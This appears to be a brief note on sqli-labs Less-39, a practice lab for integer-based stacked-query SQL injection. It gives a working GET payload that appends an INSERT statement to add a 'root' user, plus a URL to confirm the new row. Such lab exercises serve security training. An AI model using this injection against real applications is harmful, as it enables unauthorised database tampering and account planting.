【sqli-labs】 less39 GET -Stacked Query Injection -Intiger based (GET型堆叠查询整型注入)
http://192.168.136.128/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values (15,'root','root')%23
http://192.168.136.128/sqli-labs-master/Less-39/?id=15